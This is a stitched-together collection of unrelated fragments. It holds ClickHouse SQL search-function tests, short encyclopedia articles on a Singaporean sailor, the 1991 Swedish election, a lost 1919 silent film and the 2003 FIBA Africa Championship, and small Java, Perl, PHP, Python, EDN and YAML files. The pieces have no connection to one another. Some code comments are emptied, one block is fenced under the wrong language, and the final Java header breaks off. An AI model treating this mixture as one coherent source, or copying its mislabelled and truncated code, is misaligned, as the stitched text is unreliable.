select 1 = multiSearchFirstPositionCaseInsensitive(materialize('abCdeFgH'), ['', 'bcd', 'bcd', 'c']) from system.numbers limit 10;
select 2 = multiSearchFirstPositionCaseInsensitive(materialize('ABCDEFGH'), ['something', 'bcd', 'bcd', 'c']) from system.numbers limit 10;
select 6 = multiSearchFirstPositionCaseInsensitive(materialize('abcdefgh'), ['sOmEthIng', 'bcdZ', 'fGh', 'F']) from system.numbers limit 10;
select 0 = multiSearchFirstPositionUTF8(materialize(''), ['', '']) from system.numbers limit 10;
select 1 = multiSearchFirstPositionUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select 1 = multiSearchFirstPositionUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select 1 = multiSearchFirstPositionUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select 2 = multiSearchFirstPositionUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select 6 = multiSearchFirstPositionUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select 0 = multiSearchFirstPositionCaseInsensitiveUTF8(materialize(''), ['', '']) from system.numbers limit 10;
select 1 = multiSearchFirstPositionCaseInsensitiveUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select 1 = multiSearchFirstPositionCaseInsensitiveUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select 1 = multiSearchFirstPositionCaseInsensitiveUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select 2 = multiSearchFirstPositionCaseInsensitiveUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select 6 = multiSearchFirstPositionCaseInsensitiveUTF8(materialize(''), ['', '', '', '']) from system.numbers limit 10;
select
[
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
] =
multiSearchAllPositions(materialize('string'),
['o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'str']);
select 254 = multiSearchFirstIndex(materialize('string'),
['o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'str']);
select
[
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
] =
multiSearchAllPositions(materialize('string'),
['o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'str']);
select 255 = multiSearchFirstIndex(materialize('string'),
['o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'str']);
select multiSearchAllPositions(materialize('string'),
['o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'str']); -- { serverError NUMBER_OF_ARGUMENTS_DOESNT_MATCH }
select multiSearchFirstIndex(materialize('string'),
['o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o',
'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'str']); -- { serverError NUMBER_OF_ARGUMENTS_DOESNT_MATCH }
```
|
Cheng Xinru (; born 10 September 1989), known as Colin Cheng, is a Singaporean sailor. He has been cited as "the top Asian sailor in the men’s laser standard class".
Cheng won the gold medal at the Laser 4.7 competition at the 2006 Asian Games held in Doha. He switched to Laser class and won the silver medal at the 2010 Asian Games held in Guangzhou, China.
Cheng has resided in New South Wales, Australia since 2010, where he has studied and trained at the University of New South Wales.
Cheng competed at the 2012 Summer Olympics in the men's Laser class, finishing 15th of 49.
In 2014, Cheng competed in the 2014 Asian Games held in Incheon, South Korea and won the bronze medal.
In 2015, he competed in the 2015 SEA Games. In March–April 2016 he finished 13th in the Trofeo Princesa Sofia regatta in Spain and in May 2016 he finished 26th out of 112 in the Laser World Championships in Riviera Nayarit, Mexico. He competed at the 2016 Summer Olympics.
References
External links
1989 births
Living people
Singaporean male sailors (sport)
Olympic sailors for Singapore
Sailors at the 2012 Summer Olympics – Laser
Sailors at the 2016 Summer Olympics – Laser
Asian Games medalists in sailing
Asian Games gold medalists for Singapore
Asian Games silver medalists for Singapore
Asian Games bronze medalists for Singapore
Sailors at the 2006 Asian Games
Sailors at the 2010 Asian Games
Sailors at the 2014 Asian Games
Medalists at the 2006 Asian Games
Medalists at the 2010 Asian Games
Medalists at the 2014 Asian Games
SEA Games gold medalists for Singapore
SEA Games silver medalists for Singapore
SEA Games medalists in sailing
Competitors at the 2015 SEA Games
Singaporean expatriates in Australia
21st-century Singaporean people
|
General elections were held in Sweden on 15 September 1991. The Swedish Social Democratic Party remained the largest party in the Riksdag, winning 138 of the 349 seats. However, it was the party's worst showing since 1928 with 37.7% of the vote.
The election was notable due to the rise of a new right-wing populist party named New Democracy which succeeded in securing a parliamentary mandate for the first (and only) time. The four parties of the centre-right coalition (the Centre Party, People's Party, Moderates, and Christian Democrats) were allocated a combined total of 171 seats, 17 more than the two left-wing parties' 154, but still fewer than the 175 necessary for a majority. Thus the centre-right bloc was dependent upon New Democracy to secure a parliamentary majority. It was able to do so, and the Moderates' Carl Bildt became Prime Minister.
One large factor in the shift between the blocs was that the Christian Democrats managed to reach the 4% threshold by a good margin after many previous attempts. This combined with the Green Party falling short of the threshold, meant vast changes to areas yielding wins for the blue bloc. Norrköping, Västerås and Örebro, main urban areas inside the left-wing industrial belt of central Sweden, all voted blue for the first time for generations. Even so, they did only assemble pluralities as opposed to majorities in all three. The centre-right bloc also made vast gains in the capital region, the Moderate Party being the largest both in Stockholm Municipality and the surrounding Stockholm County. Led by the strong Moderate vote, Malmö also flipped to a blue plurality, overturning another historical Social Democrat stronghold.
Results
Seat distribution
By municipality
See also
List of members of the Riksdag, 1991–1994
References
General elections in Sweden
General
Sweden
Sweden
|
```java
package bobo.algo;
// github @zhengquan45 ,
// ,
public class SelectionSort2 {
//
private SelectionSort2(){}
public static void sort(Comparable[] arr){
int left = 0, right = arr.length - 1;
while(left < right){
int minIndex = left;
int maxIndex = right;
// , arr[minIndex] <= arr[maxIndex]
if(arr[minIndex].compareTo(arr[maxIndex]) > 0)
swap(arr, minIndex, maxIndex);
for(int i = left + 1 ; i < right; i ++)
if(arr[i].compareTo(arr[minIndex]) < 0)
minIndex = i;
else if(arr[i].compareTo(arr[maxIndex]) > 0)
maxIndex = i;
swap(arr, left, minIndex);
swap(arr, right, maxIndex);
left ++;
right --;
}
}
private static void swap(Object[] arr, int i, int j) {
Object t = arr[i];
arr[i] = arr[j];
arr[j] = t;
}
// SelectionSort2
public static void main(String[] args) {
int N = 20000;
Integer[] arr = SortTestHelper.generateRandomArray(N, 0, 100000);
SortTestHelper.testSort("bobo.algo.SelectionSort2", arr);
return;
}
}
```
|
```turing
#!/usr/bin/perl -w
# Unit test the code which fixes up $self->{LIBS}
BEGIN {
chdir 't' if -d 't';
}
use strict;
use warnings;
use lib './lib';
use Test::More 'no_plan';
use ExtUtils::MakeMaker;
my @tests = (
# arg # want
[ undef, [''] ],
[ "foo", ['foo'] ],
[ [], [''] ],
[ ["foo"], ['foo'] ],
[ [1, 2, 3], [1, 2, 3] ],
[ [0], [0] ],
[ [''], [''] ],
[ " ", [' '] ],
);
for my $test (@tests) {
my($arg, $want) = @$test;
my $display = defined $arg ? $arg : "undef";
is_deeply( MM->_fix_libs($arg), $want, "fix_libs($display)" );
}
```
|
The Enchanted Barn is a 1919 American silent drama film produced by Vitagraph Studios. It was directed by David Smith and starred Bessie Love and J. Frank Glendon. The script was written by Kathryn Reed, based on the novel by Grace Livingston Hill Lutz. Bessie Love had been familiar with the source novel, and was instrumental in optioning it for this film.
The film is considered lost.
Plot
To care for her ailing mother, young stenographer Shirley (Love) takes her young brother (Butterworth) to find a new home with country air. She finds a barn, owned by the family of Sidney Graham (Glendon), who agrees to rent her the barn. She fixes up the barn, and moves in with her mother and brother.
Shirley overhears a conversation between two men who intend to swindle her new landlord in the sale of a mine. She transcribes their words in a stenographic report, and uses it to foil the deal. Graham is very appreciative, and he and Shirley get to know each other. Shirley falls in love with Graham, but she receives word that he is engaged to another woman.
The two swindlers seek revenge on Shirley by kidnapping her, but she manages to notify Graham by dropping a note out of a car window. He calls the sheriff, who tracks down the swindlers, and Graham himself finds Shirley. Once reunited, it is revealed that Graham is not, in fact, engaged to another woman, and that he is in love with Shirley.
Cast
Release and reception
Overall, the film received mixed reviews. Bessie Love's performance received good reviews, although it was deemed "much as she has appeared in previous productions". The plot, however, was highly criticized as being thin.
On its release, some theaters showed the film with the Vitagraph comedy short Soapsuds and Sapheads. The film was shown in other theaters with The Dawn of Understanding, which also starred Love, as "Bessie Love Day."
References
External links
1919 lost films
American black-and-white films
American silent feature films
Silent American drama films
Films based on American novels
Films directed by David Smith (director)
Lost American drama films
1910s American films
|
```edn
{:allowed-branchname-matches ["main" "release-.*"]
:allowed-filename-matches ["(?i)articles/(?:(?!active-directory/saas-apps/toc.yml|role-based-access-control/resource-provider-operations.md|.*policy/samples/|.*resource-graph/samples/))" "(?i)includes/(?:(?!policy/reference/|policy/standards/|resource-graph/samples/))"]}
```
|
```php
<?php
declare(strict_types=1);
namespace CodelyTv\Tests\Shared\Infrastructure\Bus\Query;
use CodelyTv\Shared\Domain\Bus\Query\Response;
final readonly class FakeResponse implements Response
{
public function __construct(private int $number) {}
public function number(): int
{
return $this->number;
}
}
```
|
```python
#!/usr/bin/env python
import string
import struct
import sys
class FileExtract:
'''Decode binary data from a file'''
def __init__(self, f, b='='):
'''Initialize with an open binary file and optional byte order'''
self.file = f
self.byte_order = b
self.offsets = list()
def set_byte_order(self, b):
'''Set the byte order, valid values are "big", "little", "swap", "native", "<", ">", "@", "="'''
if b == 'big':
self.byte_order = '>'
elif b == 'little':
self.byte_order = '<'
elif b == 'swap':
# swap what ever the current byte order is
self.byte_order = swap_unpack_char()
elif b == 'native':
self.byte_order = '='
elif b == '<' or b == '>' or b == '@' or b == '=':
self.byte_order = b
else:
print("error: invalid byte order specified: '%s'" % b)
def is_in_memory(self):
return False
def seek(self, offset, whence=0):
if self.file:
return self.file.seek(offset, whence)
raise ValueError
def tell(self):
if self.file:
return self.file.tell()
raise ValueError
def read_size(self, byte_size):
s = self.file.read(byte_size)
if len(s) != byte_size:
return None
return s
def push_offset_and_seek(self, offset):
'''Push the current file offset and seek to "offset"'''
self.offsets.append(self.file.tell())
self.file.seek(offset, 0)
def pop_offset_and_seek(self):
'''Pop a previously pushed file offset, or do nothing if there were no previously pushed offsets'''
if len(self.offsets) > 0:
self.file.seek(self.offsets.pop())
def get_sint8(self, fail_value=0):
'''Extract a single int8_t from the binary file at the current file position, returns a single integer'''
s = self.read_size(1)
if s:
v, = struct.unpack(self.byte_order + 'b', s)
return v
else:
return fail_value
def get_uint8(self, fail_value=0):
'''Extract a single uint8_t from the binary file at the current file position, returns a single integer'''
s = self.read_size(1)
if s:
v, = struct.unpack(self.byte_order + 'B', s)
return v
else:
return fail_value
def get_sint16(self, fail_value=0):
'''Extract a single int16_t from the binary file at the current file position, returns a single integer'''
s = self.read_size(2)
if s:
v, = struct.unpack(self.byte_order + 'h', s)
return v
else:
return fail_value
def get_uint16(self, fail_value=0):
'''Extract a single uint16_t from the binary file at the current file position, returns a single integer'''
s = self.read_size(2)
if s:
v, = struct.unpack(self.byte_order + 'H', s)
return v
else:
return fail_value
def get_sint32(self, fail_value=0):
'''Extract a single int32_t from the binary file at the current file position, returns a single integer'''
s = self.read_size(4)
if s:
v, = struct.unpack(self.byte_order + 'i', s)
return v
else:
return fail_value
def get_uint32(self, fail_value=0):
'''Extract a single uint32_t from the binary file at the current file position, returns a single integer'''
s = self.read_size(4)
if s:
v, = struct.unpack(self.byte_order + 'I', s)
return v
else:
return fail_value
def get_sint64(self, fail_value=0):
'''Extract a single int64_t from the binary file at the current file position, returns a single integer'''
s = self.read_size(8)
if s:
v, = struct.unpack(self.byte_order + 'q', s)
return v
else:
return fail_value
def get_uint64(self, fail_value=0):
'''Extract a single uint64_t from the binary file at the current file position, returns a single integer'''
s = self.read_size(8)
if s:
v, = struct.unpack(self.byte_order + 'Q', s)
return v
else:
return fail_value
def get_fixed_length_c_string(
self,
n,
fail_value='',
isprint_only_with_space_padding=False):
'''Extract a single fixed length C string from the binary file at the current file position, returns a single C string'''
s = self.read_size(n)
if s:
cstr, = struct.unpack(self.byte_order + ("%i" % n) + 's', s)
# Strip trialing NULLs
cstr = string.strip(cstr, "\0")
if isprint_only_with_space_padding:
for c in cstr:
if c in string.printable or ord(c) == 0:
continue
return fail_value
return cstr
else:
return fail_value
def get_c_string(self):
'''Extract a single NULL terminated C string from the binary file at the current file position, returns a single C string'''
cstr = ''
byte = self.get_uint8()
while byte != 0:
cstr += "%c" % byte
byte = self.get_uint8()
return cstr
def get_n_sint8(self, n, fail_value=0):
'''Extract "n" int8_t integers from the binary file at the current file position, returns a list of integers'''
s = self.read_size(n)
if s:
return struct.unpack(self.byte_order + ("%u" % n) + 'b', s)
else:
return (fail_value,) * n
def get_n_uint8(self, n, fail_value=0):
'''Extract "n" uint8_t integers from the binary file at the current file position, returns a list of integers'''
s = self.read_size(n)
if s:
return struct.unpack(self.byte_order + ("%u" % n) + 'B', s)
else:
return (fail_value,) * n
def get_n_sint16(self, n, fail_value=0):
'''Extract "n" int16_t integers from the binary file at the current file position, returns a list of integers'''
s = self.read_size(2 * n)
if s:
return struct.unpack(self.byte_order + ("%u" % n) + 'h', s)
else:
return (fail_value,) * n
def get_n_uint16(self, n, fail_value=0):
'''Extract "n" uint16_t integers from the binary file at the current file position, returns a list of integers'''
s = self.read_size(2 * n)
if s:
return struct.unpack(self.byte_order + ("%u" % n) + 'H', s)
else:
return (fail_value,) * n
def get_n_sint32(self, n, fail_value=0):
'''Extract "n" int32_t integers from the binary file at the current file position, returns a list of integers'''
s = self.read_size(4 * n)
if s:
return struct.unpack(self.byte_order + ("%u" % n) + 'i', s)
else:
return (fail_value,) * n
def get_n_uint32(self, n, fail_value=0):
'''Extract "n" uint32_t integers from the binary file at the current file position, returns a list of integers'''
s = self.read_size(4 * n)
if s:
return struct.unpack(self.byte_order + ("%u" % n) + 'I', s)
else:
return (fail_value,) * n
def get_n_sint64(self, n, fail_value=0):
'''Extract "n" int64_t integers from the binary file at the current file position, returns a list of integers'''
s = self.read_size(8 * n)
if s:
return struct.unpack(self.byte_order + ("%u" % n) + 'q', s)
else:
return (fail_value,) * n
def get_n_uint64(self, n, fail_value=0):
'''Extract "n" uint64_t integers from the binary file at the current file position, returns a list of integers'''
s = self.read_size(8 * n)
if s:
return struct.unpack(self.byte_order + ("%u" % n) + 'Q', s)
else:
return (fail_value,) * n
```
|
The 2003 FIBA Africa Championship was the 22nd FIBA Africa Championship, played under the rules of FIBA, the world governing body for basketball, and the FIBA Africa thereof. The tournament was hosted by Egypt from August 7 to 16 2003.
Angola defeated Nigeria 85–65 in the final to win their seventh title. and securing a spot at the 2004 Summer Olympics.
Squads
Draw
Preliminary round
Times given below are in UTC+2.
Group A
Group B
Knockout stage
11th place match
9th place match
7th place match
5th place match
Semifinals bracket
Bronze medal match
Final
Final standings
Awards
All-Tournament Team
See also
2002 FIBA Africa Clubs Champions Cup
References
External links
Official Website
AfroBasket
2003 in Egyptian sport
2003 in African basketball
International basketball competitions hosted by Egypt
August 2003 sports events in Africa
|
```yaml
apiVersion: release-notes/v2
kind: feature
area: installation
issue:
- path_to_url
releaseNotes:
- |
**Promoted** external control plane to alpha.
```
|
```java
/*
*
* See the CONTRIBUTORS.txt file in the distribution for a
* full listing of individual contributors.
*
